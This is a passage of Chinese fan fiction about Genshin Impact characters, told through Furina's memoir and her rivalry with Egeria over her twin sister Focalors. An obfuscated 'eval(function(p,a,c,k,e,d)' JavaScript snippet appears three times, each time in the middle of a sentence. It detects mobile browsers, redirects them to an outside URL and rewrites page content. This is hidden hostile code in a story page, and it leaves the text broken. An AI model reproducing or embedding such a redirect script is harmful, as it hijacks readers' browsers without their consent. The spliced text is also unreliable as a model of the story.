我颤抖着手去摸利口酒,那瓶写作伴侣被搁在桌角,在没有灵感的时候负责强行召唤缪斯。喉咙被狠狠灌了一口,大脑才清醒过来。而那个影子逐渐虚幻,直至消失,空房间里只有我的心脏还在跳动。我几乎以为是因年老而发作的谵妄。 芙卡洛斯?我强作镇定,试探性地问。回答我的只有一片寂静。 交稿时娜维娅陪我一张一张挑选画片。她打趣我,说没有人的少女时代能拥有这么多清晰高质的画片。我说,同样,也没有人的青春期能如此漫长,漫长到还没开始叛逆就腻味了。 我们都很喜欢同一张照片,永远十六岁的芙宁娜在高高的华美坐席上,一条腿翘起搁在另一条腿上,她的眼瞳中倒映出谕示裁定枢机的一角,那也许是我和芙卡洛斯唯一的合照。 娜维娅问,你还在思考那个缺失的吻吗? 当然,那个吻是我一切不幸的起始,我必须、必须好好地揣摩它。 你知道芙卡洛斯并不是世俗意义上你的母亲,对吧? 当然,但她的确扮演了一半母亲的角色。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099057|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予我生命,予我姓名,却没有予我一吻,而且欺骗了我,从那以后,提起芙宁娜的一生,都只是被欺骗的一生。 但她是爱你的,不是吗? 她可以爱我,然后和我说再见。也可以和我说再见,然后仍然爱我。但她欺骗了我,我又欺骗了我自己。她不知道我更希望我的一生是她将不会欺骗我的一生。 这么说你们见过? 我们没有见过面。她欺骗我,是借用镜子。她从来、从来没有用芙卡洛斯的脸在现实中见过我。因此我憎恶镜子。 镜子。我再度想起那夜的倒影,我一步一步靠近了窗,凝视着影子消失之处,将自己的头靠了上去。一个新的倒影浮现了,我看见十六岁的芙宁娜捧着芙卡洛斯的头颅端坐在马车上,轻轻俯下身去,印下最后一吻。 芙宁娜回忆录开售的那一天,我在那维莱特办公室喝茶,顺便签名:太多朋友拜托他帮忙代领签名本。上了年纪之后,唯有仍然不老的他和他那一尘不变的办公地点坚定不移,成为我们四散之后再聚的锚点。 那维莱特翻了翻回忆录,说:我没有想到你最后选择了这样一个书名。 生来没有母亲的女孩,很贴切,不是吗? …… 一个人怎么会生来没有母亲?一个垂垂老矣的妇人怎么还在自称女孩?哎呀,我等不及想要看读者的反馈了! 确实如此。但这个书名无疑也将文本的重心引向了出生之前。 是呀。因为在出生之前,有些事情就已经注定了。孩子没有办法不爱母亲。在学会拒绝一种倾盆的爱前,她必然已经陷入母亲爱的泥沼。即使是生来没有母亲的女孩也不能免俗。 也许如此。 那维莱特,你理解不了是正常的。因为只有人类才需要母亲的最初一吻。 这是你,还有芙卡洛斯,选择成为人类的理由吗? 我要纠正你一点,是芙卡洛斯选择让我成为人类。虽然我自己大抵也会做出相同的选择。 所以……你仍然恨着芙卡洛斯吗? 当然。我恨她。我恨她没有给我那最初一吻,使我飘摇世间追寻生命的答案。 我以为,你已经原谅了她。毕竟你的第一章只有一句话:我的母亲是芙卡洛斯。 当然。我原谅了她,因为生命本来就没有答案:存在即合理,存在即正义。何况我已经得到了最后一吻。 我……不太明白。 因为,我是她理想的人类,理想的自己啊。我渴望母亲的吻就是她在渴望母亲的吻。我们都在渴望爱与死。母亲的吻:那就是爱与死的开端。母亲的爱是最初的无条件的爱,也是往后所有爱与被爱的源泉。而从获得母亲的吻开始,人就在向着死亡前行了,人只会向着死亡前行:死是人类唯一的必然的终局。但人总是怕死,是母亲的吻庇佑无忧无虑的童年时代,这就是为什么孩子对死亡的感受总是很迟钝;又是母亲的吻支撑命途多舛的后童年时代,这就是为什么人尽管惧怕却最终能够接受,人终有一死,人必有一死。人是这样一种有死而思死的生物啊。 那维莱特最后问我:那芙卡洛斯对你来说究竟意味着什么呢? 我说:我从来、从来,没有见过她。 15. 失恋俱乐部(一) *厄歌莉娅→芙卡洛斯←芙宁娜,快跑。厄歌莉娅→芙卡洛斯←芙宁娜,快跑。厄歌莉娅→芙卡洛斯←芙宁娜,快跑。重要的事情说三遍。 欢迎来到——失恋俱乐部!大衣和帽子可以存放在此处,晨报与裁纸刀为您奉上。今天的甜点是烤米布丁和苹果派,祝您度过一个忧郁的星期三。 哦?您是首次造访?那么,请随我来:等待您的是一场小小的考核。不,不,请您不要紧张:这只是为了确认您是否具有入会资格。您知道,故事总是从失恋开始。因为一段故事的开始,也是另一段故事的结束。失恋俱乐部欢迎所有失恋人士的加入,只要您曾经真的弄丢过一颗心脏。 一 芜杂年代 这个位置只能看到一小段机翼。 廉航的咖啡入喉,没滋没味,就像离开那个女人之后的日子。她换一只手撑下颌,把视线从那块板正的小窗收回。窗外的蓝饱和度很高,一下一下扎着沉重的头颅。 落地之后她安静地等行李。时间还早,踌躇着是否再买一杯咖啡。但自出国以后,她便罹患一种奇异的病症,以对食物的冷漠为发端,渐渐对整个世界都无感。咖啡是苦的。这是常识,不是味觉反馈给她的信息。 她猜娜维娅会带马卡龙来。 登机前她已在搜索各类马卡龙评价,把那些甜蜜的字眼一股脑儿地塞进手机备忘录,好像这样就能同步至大脑云端。但在飞机上满目亚麻灰与水洗蓝布的洗礼下,精致的语句都被遗忘在万米高空之上。她抬起头,越过透明的穹顶看看天空,仿佛在等待失物被重力牵引回来。 什么也没有发生,她并不失望。她好像已经习惯了失望,很多年。 靠近出入口,凛风张牙舞爪扑面而来,她一手拖着行李,一手艰难地打字。 【老地方等你。】这是娜维娅发来的消息,时间是四十分钟前。 她松口气,回复【就来】。 其实她还没有准备好见娜维娅。她没有准备好见任何一个故人。但会面避无可避,这是成年人的社交法则,而她没有能力反抗。 她们舒舒服服地窝在刺玫会会客室的亚麻色软沙发里交谈已是三个小时以后的事。她毫不客气地取笑娜维娅一定没有好好经营刺玫会,竟然已经沦落至如此偏远之地。娜维娅则满不在乎地承认,的确遇到难得一见的敌手,暂时战略性转移是必要举措。 “什么样的对手,竟然让我们刺玫会大小姐感到棘手?”她没骨头似地陷进沙发里,在法兰绒上翻来转去,用指尖于一色柔软中划出一线浅淡的逆绒。 “失恋俱乐部。听说过吗?据说,俱乐部的老板是一个……非常非常神秘的女人。”娜维娅坐得端正,用小勺一下一下敲着方糖。 “嗯哼,神秘!但自称神秘的往往并不神秘。”口中喃喃着,她伸长胳膊,把天花板上那盏暗黄的菱形吊灯虚虚地握在手心,想象它的热度灼伤指尖。她的中指上已经空空如也。 娜维娅谨慎斟酌道:“对我们来说,的确并不神秘。”看到对面投来的惊异目光,她放下勺子,叹口气说,“厄歌莉娅,她的名字是厄歌莉娅。” 回应她的是沉默。 “芙宁娜,或许我们明天再谈这件事比较好,看看你的黑眼圈——快去休息吧,刺玫会已经给你预备了房间。” 芙宁娜答应了一声,摇摇晃晃地从沙发里把自己疲惫的身体拔出来。她拼命地把那四个字从脑子里驱赶出去,直到娜维娅贴心地为她带上房门,门闩轻轻发出一声沉闷的响。 她松了口气,滑下来,靠着门坐了半小时,什么也没有想。她只是坐着,耳机里放着歌,她跟着歌手一遍遍哼唱,I am you,I am you。 歌手唱,All because of love。 她面无表情地唱,All because of love。 不想打开行李箱,怕一年前带走的寂寞又会被她放出来,第二天人人都知道她打开了潘多拉匣子。不想摘掉耳机,怕嫉妒将从耳道里钻出来,淹没整个房间,让她整晚无处下脚。不想抬起身体,怕离开冰凉地板的警醒,她又要坠入对那个女人火焰炙烤般的眷恋中。 四年以前,芙宁娜也如此与芙卡洛斯拥抱,在凄寒的冬夜。她们像两只流浪的动物依靠彼此的体温取暖,倚在门边,对着窗台上格外清晰的星空。长发交织在一起,淌过胸前,流经膝盖,漫到地板上。芙宁娜假装挑拣,比较肥瘦,实则穿过这些柳叶般的丝绦偷看芙卡洛斯,线条流畅地从下颌勾勒至肩角。没有开灯的夜晚,只有月光溜进家门,细腻的皮肤泛着肉色的荧光。她的肩带是淡蓝的。 她们坐在地板上,从白天老师在黑板上写错的某个单词聊到突然下起的大雨和透明雨伞折射的车灯。芙宁娜把自己的胳膊亲昵地塞进芙卡洛斯的臂弯里,问她: “芙卡洛斯,你最喜欢什么颜色?” 她察觉自己的头发正被轻柔地抚摸:“每种颜色都有它的使命和意义。” 芙宁娜嘟着嘴,以一种撒娇的语气说:“你就没有偏爱的一种吗?” “偏爱吗?我希望我能平等地爱所有的……”她的声音低下去,“该睡觉了,芙宁娜。” 她站起身。发丝从芙宁娜手里流走了。 芙宁娜仰望着她:“为什么你这么伟大呢?这真狡猾,简直是在耍赖!” 窗帘外透出路灯阴暗的光,刚够描摹芙卡洛斯颊部的轮廓。她走到床边,听到这句话,侧过头,整张脸被路过汽车的尾灯照亮一瞬:“伟大?” 芙宁娜扶着墙站起,把对折的身体重新打开。她失望地发现,那辆未经许可贸然经过的车已经识趣地离开,让对方的脸又隐入阴影。 她走到床边,直直地倒下去,嗅闻被她砸起的各类菌种溅起的空气:“你太伟大了!你的爱太丰富了!没有偏见的爱——那是神才能做到的吧?”她感到身旁的热源正在靠近,越来越近,直到肌肤相亲。 于是她接着说:“可我的爱很小很小,小得只有一滴水那么大。我的爱很少很少,少得只有一滴蓝颜料那么多。”她的手在被子上画了一个很小的水滴。 芙卡洛斯握住那只手指回答道:“那么,你的爱一定很纯粹很纯粹,只需要小小一滴,就能把整个世界染蓝。” 芙宁娜几乎以为这是告白。身边的呼吸均匀起来后,她在床单上一笔一画地写,芙卡洛斯。修剪干净的指甲擦出苦涩的震颤感,电得她浑身痉挛。她半抬起身体,借窗外的光去看芙卡洛斯。她的脸上光影斑驳,发丝在其间穿行,在这个距离,皮肤上交错的细纹一清二楚。因为光线比门边略微充足一些,刚刚笼罩着她整个人的蓝调褪去——原来她的肩带是白色的。 第二天她缴获了芙卡洛斯的情书,不是给她的。那时她们确认恋爱关系已有三个月。 情书散落在书桌上,几乎是刻意的。芙宁娜不记得什么时候桌上多了这些信封,已经拆了的,正在回复的。她坐在椅子上,挺直脊背,以一种机械的姿势。目光越过桌上的海洋生物摆件——那是她们一起去海边玩时亲手做的陶制品——芙卡洛斯仍在床上静静地睡着。薄被只披在腰间,露出莹白圆润的胳膊和双腿。她的膝盖和她的一样,总是青白交错的:她们总是撞上拐角,或者不知道在什么地方磕碰,又或者,单纯是她们的膝盖之间有引力。 她的肩带真的是白色的。 那个女人名为厄歌莉娅。 芙宁娜含着漱口水,湿答答地抬起头,突然觉得镜子里的女孩应当把头发蓄长——这个顶着乱糟糟头发、未倒时差的憔悴之人一定不是她。呸呸,她赶忙吐掉最后一点牙齿清洗剂,把前女友的模样和不喜欢的薄荷味都驱逐出境。 芙宁娜不喜欢薄荷味,也不喜欢她的前女友。 她还爱她。世界上还有比这更糟糕的事情吗? 有的。 更糟糕的事情:芙卡洛斯是芙宁娜的双生姐姐。这简直是个可怕的故事。不得不怀疑她们是否出了什么问题,如果不是脑子的话,那一定是DNA。但当时她们不在乎:她们什么也不在乎。热恋中的情侣不会在乎无关紧要的细枝末节。 “天哪,这是什么无关紧要的事情吗?”娜维娅说,她抬起手腕来看了看表,“你今天有什么安排吗?” “哦,比起她收到的一沓情书来说这当然无关紧要。”芙宁娜习惯性地扶住胸口,揉一揉心脏,尽管它没有在痛。“没有安排。如果你想要知道去年发生了什么——我知道你憋了很久了——乐意奉陪!” “那太好了!说到情书——只是一沓情书!老实说,你也没少收。”娜维娅耸了耸肩,将装着马卡龙的瓷盘推到芙宁娜面前。对其他人来说,作为一顿早餐而言,这实在有些过于甜腻,但对芙宁娜来说刚刚好。 芙宁娜从善如流地拈起一块马卡龙:“我只是收下而已!她可是真的在和女友通信——那个女友不是我。” 娜维娅顾不上淑女的风度,身体前倾,半是兴奋半是不解地从喉咙里挤出一个困惑的单音,又很快补上全部问句:“什么?” “芙卡洛斯总是这样。她欺骗了我。”芙宁娜把那块马卡龙塞进嘴里。饰有金边的浮雕餐盘被嫌弃地推回对面,向前滑行了一段距离,委屈地停在娜维娅面前。 “嗯?不再来一块吗?难道我的手艺有退步?”娜维娅尝了一口自己的得意之作,“还是很美味啊,你今天怎么了……等等。你刚刚说什么?我真的怀疑是你欺骗了我。芙宁娜,芙卡洛斯是你的双生姐姐。” “没错。你不必用这样求证的口吻向我确认。单从长相上来说,这一点也十分明确。”芙宁娜翘起左腿,半是悠闲半是惫懒地靠到沙发上。 “我不否认,我不否认。”娜维娅喃喃,不自觉地放下吃到一半的马卡龙。很快,她又振奋起精神,“有没有一种可能,你只是混淆了喜欢与爱?还有没有一种可能,你混淆了两种不同的爱?毕竟学校可从来不教这些。” “啊啊——虽然解释是一件复杂的工作,但左右现在无事,我不介意花费一点宝贵的时间谈谈这个无意义的问题。”芙宁娜交叠的双手扣在腹前,思忖着说,“但我对你是否能够完全理解持保留意见。你知道的,娜维娅,这并不是某种轻视或贬低。” 娜维娅撑着脑袋,饶有兴致地回应道:“当然。诚然你将自己的头颅看得无比高贵,但那只是因为对你来说,每个人的头颅都一样弥足珍贵。所以我们都不讨厌你的某些傲慢之处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099058|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 芙宁娜无所谓地摊手:“那真是太感谢了——”当然,她的脸上几无感谢之意,“先谈你的第一种假设。我的答复十分肯定:绝无可能。娜维娅,你并不是双胞胎中的一员。很多传言声称双胞胎有心灵感应,我必须说,绝无此事。但双胞胎之间的关系更加密切。我和芙卡洛斯之间就是这样密不透风的关系。” “难以想象。你们无法容忍分离吗?”娜维娅说,开始回忆她与芙卡洛斯为数不多的几次见面。 “不,分离并不是什么可怕的事情。我们必须生活,生活意味着和他人建立联系……”芙宁娜停顿了一下。 “我同意这一点。”娜薇娅鼓励地说。 “你知道那个很著名的比喻,对吧?叔本华的刺猬。它没有巴甫洛夫的狗出名的唯一原因大概是,人真的是这样一种刺猬。” “听说过,”娜薇娅答道,“刺猬在互相取暖的时候必须保持距离,以免刺伤对方。不过这和我们谈的话题有什么关系呢?” “很简单,”芙宁娜耸耸肩,“人必须学会生活,生活意味着建立联系,建立联系同时也是保持距离。刺猬也必须学会建立这种联系,因为刺只能获取果实,而不能带来爱人。” “的确如此。”娜薇娅说,“所谓分寸感,对吗?” “嗯哼。但是我和芙卡洛斯不同。” “唔,”娜薇娅困惑地挤出一个单音,“无论如何,你们毕竟是两个不同的个体呀?” “的确,我不否认,我们的刺也会伤到彼此。但这种伤害是不同的。 “想象一下生命如何诞生:细胞不断分裂分化,塑造一个独立的个体。以为自己是这世界上独一无二的孤岛之时,蓦然发现还有一人与你分享同一套基因。 “二十一天可以养成一个新的习惯,每七年身体里的细胞全部更新一次。可有这样一个存在,从出生起就和你缠绕在一起:你们一模一样,共享基因、容貌和父母,你们的刺也一模一样,在伤害对方的同时也伤害自己。但你们太清楚这种伤害的前因后果,因而这不过是一种事先张扬的伤害。” 芙宁娜说着,又开始将自己团成一团,嵌进沙发里。刺玫会会客室的沙发真是她的精神故乡。 “唔,这难道不是一件好事吗?这说明你们即使会互相伤害,但总能互相理解。” “或许吧。总之,因为这种了解,从感情变质的那一刻起,我们双方都发现了这一点,心照不宣。所以我们在一起了,顺理成章。 “但也许从一开始,基因就变异了。我是与她谈恋爱以后才发现,她与我有根本的不同。” 芙宁娜咽下最后一块甜点,抬起头来,注视着娜维娅的双眼,一字一句地说: “她不是人。” 芙宁娜冷眼瞧着娜维娅笑倒在沙发上。 “喔,不是人,”娜维娅断断续续地说,“那是什么呢?难道你要像戏剧里的女主角一样,用一串比礼裙还长的比喻咒骂负心汉?” “如果可以的话。”芙宁娜跟着玩笑,以显示自己如今的满不在乎。她的双手高高地举起,又有气无力地落在身旁。“我可是一个彻头彻尾的人。我有自己的喜怒哀乐,又狂妄又懦弱,又高傲又自卑。最重要的是,我的爱也只是普通人的当量。” “但是,你知道,一直以来,爱都是很伟大、很浩瀚的东西。那和你是不是一个普通人无关。”娜维娅提醒她。 “我知道。但是,这正是你第一种假设的错漏之处。爱情——它当然与喜欢不同,它不可以被分享。喜欢是复数,爱是单数,而且不只是单数。它是不可通约的质数。区分单复数很容易——这就是我对你第一种假设的回答——但这是就人而言的。芙卡洛斯是神。对神来说,她的喜欢是复数,爱也是复数,这是很自然的事。因为她可以自然地爱整个世界而无须理由。 “——她爱我,同时也爱厄歌莉娅。” 娜维娅坐直身体:“实在难以想象……” “接下来谈谈你的第二种假设。我说过,人的爱是质数。爱是质数的意思就是说:第一,质数一定是单数。人们误以为有很多种爱,不是的,所有的爱最终都是爱情。友情啦,亲情啦,它们都只是感情,感情是有很多种的,但爱不是。没有什么花里胡哨的爱啦!爱就是爱。第二,质数只有1和自己两个因数,就是说,爱中只有她和我。爱的分量只有这么多,无法分给更多因数。” 芙宁娜将双手背到脑后,仰望天花板上的吊灯。昨晚她曾经把它收拢在手心。如今是白日,阳光很烈,它沉默着,没有光,也没有热。 娜维娅沉默了一会儿。“所以去年你急着出国,是因为不能接受芙卡洛斯的爱分给了两个人?天哪,我们一直以为你是不能,不能……”她卡壳了。 “不能接受女人爱上女人的事情?”芙宁娜想说什么,但忍住了,遥遥地瞥了一眼娜维娅办公桌上的手机,它的屏幕亮起,震动通过桌子传导一股沉闷的气息,“事务繁忙的刺玫会会长还是赶快处理公务吧。顺便一提,她们在一起是四年前的事情。” 娜维娅想说什么表达自己的震惊,也想继续追问,但电话已经接起,她只好用口型告诉对面那个懒洋洋的人,让她别想逃跑,老实交代。 16. 失恋俱乐部(二) 二樱桃香烟 芙宁娜设想过很多次重逢,在梦中。她一次次梦到几十年后,芙卡洛斯和厄歌莉娅依旧是一对伉俪,在异国小镇偶遇时,手挽着手笑得甜美。而她多年来未曾变易,成为被困于感情囹圄里的唯一囚徒。最后她们礼貌地告别,擦肩而过,她走着走着就慢下脚步,直到驻足不前,忍不住回过头去,只见她们拉得很长的影子正彼此亲吻。 但她没有想到重逢这么快。坐在娜维娅的车里时,大小姐凝重地握着手机叮嘱她:“千万不要和情敌打起来。” 芙宁娜忍了又忍,才克制着挤出几个字:“现在不是情敌了。” “好吧,”娜维娅在墨镜下觑着她的神色,“这次枫丹廷的项目已经被厄歌莉娅拿到了,这个节骨眼上却突然提出与刺玫会合作,我也很意外。八成,是冲你来的。” 芙宁娜曲起手肘看向窗外,突然问道:“失恋俱乐部……他们是做什么的?单听这名字,也不像是会和刺玫会产生竞争的组织。” “听说他们自诩为一家普通的俱乐部,入会只有一个条件:曾经或者正在失恋。只要有过失恋经验就可以加入,无所谓加入时的感情状态。至于其他方面么,会员间的感情联络、商务合作都和刺玫会没有什么两样。” “是吗?听起来很有趣。那他们如何判断会员是否经历过失恋呢?” “厄歌莉娅自有办法:他们的入会面试由厄歌莉娅亲自负责。” 芙宁娜闭上眼睛就能回忆起她和厄歌莉娅的第一次见面,对方那胜者的姿态刺痛了芙宁娜。她早就习惯删除一生中所有的尴尬与不如意的事件,她就是这样活在当下的人,绝不会让可能引发噩梦的回忆占据大脑的储存空间,唯有那一幕她怎么也删不掉。 酒店楼下,她等在街角,厄歌莉娅下楼对她说,放弃吧,她并不爱你。 芙宁娜靠在孤零零的电线杆上,嗤笑道,是吗?我会放弃,但那并不是因为她不爱我。她的确爱你,但这不意味着她不爱我。 厄歌莉娅挑了挑眉毛,温柔地劝告,又像是喟叹:一个人怎么会同时爱上两个人呢。 是啊,一个人怎么会爱上两个人呢,芙宁娜若有所思地重复,人当然是办不到这件事的。 芙宁娜启程去国离乡的时候,手上还带着芙卡洛斯送的戒指,脸颊上还有芙卡洛斯离别时恋恋不舍的吻的余温。 甫一下飞机,那枚戒指就被遗弃在异国他乡的下水道里,也许深更半夜还在某处孜孜不倦地显露着它独特的蓝。也正是在那时,芙卡洛斯被移出芙宁娜的好友列表。 芙宁娜一向对那混乱的三年讳莫如深:芙卡洛斯同时保持着和她、和厄歌莉娅的恋爱关系。她与厄歌莉娅再也没有见过面。芙卡洛斯深夜醉醺醺地回来的时候,总是乱叫一气,除了她俩的名字,其他朋友也榜上有名。芙宁娜擦去她嘴角涎液时突然有一瞬间顿悟,芙卡洛斯也许并不是人,而是神。 芙卡洛斯从不在乎芙宁娜等她到凌晨两点半,也从不在乎厄歌莉娅出差带回来的各类奇珍。她今夜就着厄歌莉娅的手喝下许多许多波尔多,明天就能躺在芙宁娜怀里缓缓吐出很多很多烟圈。常常她已经睡得沉了,芙宁娜却仿佛醉了,脑子里有五十头大象随着波尔卡舞曲的节奏笨拙地晃动。 芙宁娜几乎是绝望地想,我怎么还能爱着这样的芙卡洛斯。她欺骗我。她背叛我。可我还爱她,而且知道她爱我,用我们几乎一致的基因,知道我们的心仍是相通的。咔嚓。大象们齐心协力踩碎了一颗心。也许芙卡洛斯的心是这样一堆碎片,才能用不同的碎片去爱不同的人。 我是很笨的,芙卡洛斯。我曾经被你耍得团团转。芙宁娜说,可我不想在这样下去了。也许是我还没有长大,不能理解爱情为什么不是单数。可是厄歌莉娅比我们年长许多,她显然也不认为爱是复数。我想知道,我想知道为什么我们之间会有这么大的分歧。难道造物主在捏合如此相似的两个个体时,又偏偏要仪式感地在她们之间制造一道天堑? 芙卡洛斯睡着,呼吸轻柔起伏。 那时她终于决意离开芙卡洛斯。她想,经过这两年的沉淀,她将习惯没有芙卡洛斯的生活。她必须习惯上课开小差时没有及时的纸条,放学后的甜品店没有口味一致的参谋,夜晚的房间里没有另一道暧昧的呼吸。她将很快习惯这些微不足道的细节。 她毕竟已失望很多年。 失恋俱乐部的主理人和刺玫会会长不是第一次见面。她们很熟稔地打招呼,然后说起芙宁娜听不懂的名词。 芙宁娜实际上并不是刺玫会的成员。当所有人都忙碌于为自己找个归属,□□或其他什么兄弟会组织时,芙宁娜沉湎于她和芙卡洛斯的二人世界。所以她至今也不是任何组织的注册成员。 这是自由。她这样和娜维娅说,后者只是叹口气,然后拥抱了她,告诉她无论什么时候,假如某天她疲倦了,想栖息了,刺玫会永远向她敞开大门。 芙宁娜没有说谢谢。朋友之间不需要说谢谢。 但朋友不是娜维娅抛下她一个人面对厄歌莉娅的理由。芙宁娜盯着眼前的酒杯,里头冰块做的心脏溶解到一半。 时至今日,她得体、平静甚至冷淡地坐在昔日情敌的对面,竟然有些怜悯对方。毕竟,对陷入爱情的人来说,世界是一样的荒谬芜杂,唯有虚无缥缈的爱可以拯救。 厄歌莉娅没有什么变化。芙宁娜抿一口黑啤,她微微皱了皱眉。其实她不太喜欢酒。她总是更青睐咖啡或茶,它们的苦涩并不辛辣。但这都是之前的事情了,现在啤酒花的味道在口腔内炸开,就像白开水顺着喉咙流进胃里,波澜不惊。 一杯接一杯,有色液体顺着厄歌莉娅仰起脖颈的动作滑进视野之外,芙宁娜收回目光,落到桌上,仿佛在饶有兴致地研究昏暗灯光下桌面的木纹。 厄歌莉娅喝得醉了。她的长发垂下来,遮住眼睛,似乎并没有要开尊口的意思。芙宁娜坐在对面,几乎有些百无聊赖。但她并不愿说话,仿佛只要发出一个音节,就输掉了这场没有硝烟的战争。 “你还有很多不知道的事。”良久,厄歌莉娅以一种烟熏过的调子说,她的双手神经质地搅成某棵古树盘虬的根系。 芙宁娜没有想到会是这样的开场,她原本以为会更加急风骤雨一些。说实话,她不明白对方为什么会以这样的形式出现在她面前。难道她的退出不是成全了她们吗?想到这里,她便又冷淡下来——任何不切实际的期望都只会令人失望,因此她从这段关系中学到的唯一真理就是不要擅自抱有期望。 芙宁娜没有说话,厄歌莉娅也不指望她有什么回应,她今日更像是本来就要来酒吧买醉,只是顺手捞来一个沉默的听众,于是兀自说道:“芙卡洛斯不愿意告诉你,但我不想再遵守承诺了。” 厄歌莉娅和芙卡洛斯的故事很老套。上司和下属,日久生情。 “我对陈年旧事不感兴趣。”芙宁娜这样说,但她的视线不由自主地投向厄歌莉娅的嘴唇。薄薄的紫调唇釉在酒吧迷离的灯光下如一小块料峭的悬崖,开合间露出她喉中的漆黑深海。 回应她的是厄歌莉娅熏然的笑容:“其实我知道说这些很没意思,”她发出一声细小而局促的嗝,“但我知道,如果是你的话……是你的话……只有你能理解我。” 芙宁娜无奈地叹了口气:“为什么是我?” “你、你和我,”厄歌莉娅直勾勾地盯着她,一瞬间眼里的炙热让芙宁娜恍惚以为她根本没醉,“我们是这个世界上唯二爱着芙卡洛斯,又被芙卡洛斯爱着的人。” 芙宁娜好心提醒:“芙卡洛斯的爱很多很多,未必只有我们。” “是的,也许。”厄歌莉娅喝得够了,她抬起头来向后靠去,长发隙中露出好看的眼睛,芙宁娜仔细辨认那股近乎透明的蓝,和她靛青的发色形成鲜明对比。 厄歌莉娅掏出打火机,招呼侍应生将酒杯重新满上。 芙宁娜皱了皱眉:“酒和烟,嗯。” “失恋的标配,难道不是吗?”厄歌莉娅从石榴红的烟盒中抽出一支香烟,“不尝试一下吗?” 芙宁娜瞥了一眼那个写着日语的黑石烟盒,礼貌地拒绝:“不了,我想不良嗜好不宜过多。” 厄歌莉娅就慵懒地笑了:“嗯,不宜过多。但你其实一个也没有吧。”她的手在空中虚虚地画了一个圆弧,“烟,酒,你都不沾。我想想……你简直就像是把单纯天真写在脸上的那种女孩呢。” “谢谢,我就当作是夸奖了。你该不会以为像这样,”芙宁娜骄矜地抬了抬下巴,示意对方注意自己现在夹着烟,面前的酒杯再度满上的样子,“你该不会以为这样很酷吧?” “不,当然不,”厄歌莉娅若有所思,“看来在美国的这一年给你留下了很多阴影。我是说,他们那群充斥着叶子、烟酒、派对与脏话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099059|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美国人。芙宁娜小姐,对此我深有同感。” “这种群体哪里都有。”芙宁娜不动声色地拒绝她套近乎的言语。 “曾经我也与你一样,”厄歌莉娅徐徐吐出一缕稀薄的烟雾,甜腻的樱桃味混着尼古丁的呛人味道慢慢侵入芙宁娜占据的半边桌子,“对世界的一切都过分在意。世界——那可是我们的舞台!我们必须时刻保持闪耀。” 芙宁娜有种被勘破心事的羞恼感:“如果你愿意这么认为的话!” 厄歌莉娅把玩手里那根细长的香烟,她的语速又慢下来,饶有兴致地说:“其实你可以尝试一下,my cherry。它很甜美,很适合你。我想你一定很爱吃小蛋糕。樱桃味。”这几乎是引诱了。 “如果你想要调情的话,我想你可以去找芙卡洛斯。这对我们双方都好,不是吗?”芙宁娜摊开双手。其实她闻到了那股浓樱桃味,几乎糜烂。但她丧失食欲太久,几无触动。 “哦,不,不,你误解我了。我失恋了。和你一样。” “我想你也误解我了。是我提出了分手,我已经放下了和芙卡洛斯的过往。‘失恋’,这个词语并不恰当。” “好吧,好吧,”厄歌莉娅宽容地说,“坦诚地说,我失恋了,单方面的。” “当当!恭喜我们终于回到正题,尽管是以一种难以理解的形式。”芙宁娜慢条斯理地击掌,以一种波澜不惊的语调。 “时至今日我终于明白,”厄歌莉娅慢慢说,“我终于明白你说‘人当然不能同时爱上两个人’的意思。” “啊哈,这真是值得庆贺。需要我再为您叫一瓶柑橘利口酒吗?或许黑啤已经不足以驱动您的灵感。”芙宁娜眨眨眼。 少女好像一瞬间鲜活起来,挣扎着要从芙卡洛斯的阴影中走出。厄歌莉娅直面了这种冲击,她歪了歪头,轻笑了一声:“芙宁娜,我们都只是普通人。你走的时候我的确是庆幸的,我以为我同她的感情已经扫平了一切障碍,再没有什么能阻止我们相爱。 “可惜,后来我发现,你走了以后,夜不能寐的是芙卡洛斯。她爱着你,你说对了。你们真不愧是双生姐妹,去年我应该好好听你说的。很可惜,因为傲慢,我错过了。” 芙宁娜有些惊异地挑起一边眉毛。厄歌莉娅给她的印象一直是成功人士,感情也好,事业也罢,都在她的掌握之中。如果她有什么想要的东西,那她一定会想方设法地获得,而且最终一定会得到。她应该是这样一个人才对。 厄歌莉娅仿佛看穿了她在想什么,自嘲地笑笑说:“也许我的确能办到很多事。可惜,芙卡洛斯的心并不听我的指挥。” “她爱着我,所以呢?她当然也爱着你。如果你不介意这一点,你们的感情也能继续,不是吗?” “你很敏锐。是的,我介意。”厄歌莉娅狠狠地把烟卷掼进水晶烟灰缸,“继续?哦,当然了,生活必须继续,即使你已经遍体鳞伤。可是芙卡洛斯,她太伟大了。” “很高兴你也这么认为。”芙宁娜说,但脸上的笑容却十分疲惫,“但我想这已经与我无关了。”她抽出一只手来,在桌下给娜维娅发消息:【救救我】。 